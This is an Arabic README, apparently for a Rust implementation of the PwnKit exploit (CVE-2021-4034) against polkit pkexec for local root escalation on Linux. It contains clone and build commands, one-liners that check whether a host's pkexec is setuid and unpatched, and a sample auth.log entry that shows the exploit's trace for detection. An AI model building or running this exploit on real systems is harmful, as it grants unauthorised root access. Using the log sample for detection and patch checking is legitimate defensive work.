
تنفيذ بلغة Rust لاستغلال ثغرة CVE-2021-4034 في polkit pkexec لتصعيد الامتيازات محليًا، مع تعليمات البناء واعتبارات الكشف.
استغلال رفع صلاحيات محلي (LPE) على لينكس باستخدام polkit-1 مكتوب بلغة Rust.
قم بتثبيت Rust إذا لم تقم بذلك بالفعل
git clone https://github.com/deoxykev/CVE-2021-4034-Rust
cd CVE-2021-4034-Rust
rustup target add x86_64-unknown-linux-musl
cargo build --release
# تحقق من وجود pkexec
which pkexec || echo not vuln
# تحقق من صلاحيات suid على pkexec
stat -c '%a' $(which pkexec) | grep -q 4755 || echo not vuln
# تحقق من تاريخ التصحيح على pkexec
stat -c '%y' $(which pkexec)
# التواريخ قبل 2022-01-12 قد تكون غير مصححة وقابلة للاستغلال
/var/log/auth.logpkexec[121401]: user: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/8] [CWD=/dev/shm/YWdQYnE3TSNlwNKMXEwYcGRVmdYipb] [COMMAND=GCONV_PATH=./tSq82ptZaDiyXWZz0BOybdH9fINqCG PATH=GCONV_PATH=. CHARSET=mgELtKAB9sXo0a9KJk00NNO0wa4x0J SHELL=mgELtKAB9sXo0a9KJk00NNO0wa4x0J]
الإفصاح عن الثغرة - فريق أبحاث Qualys - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 الشيفرة البرمجية (shellcode) - @johkrupp - https://saarsec.rocks/2020/05/14/golf.so.html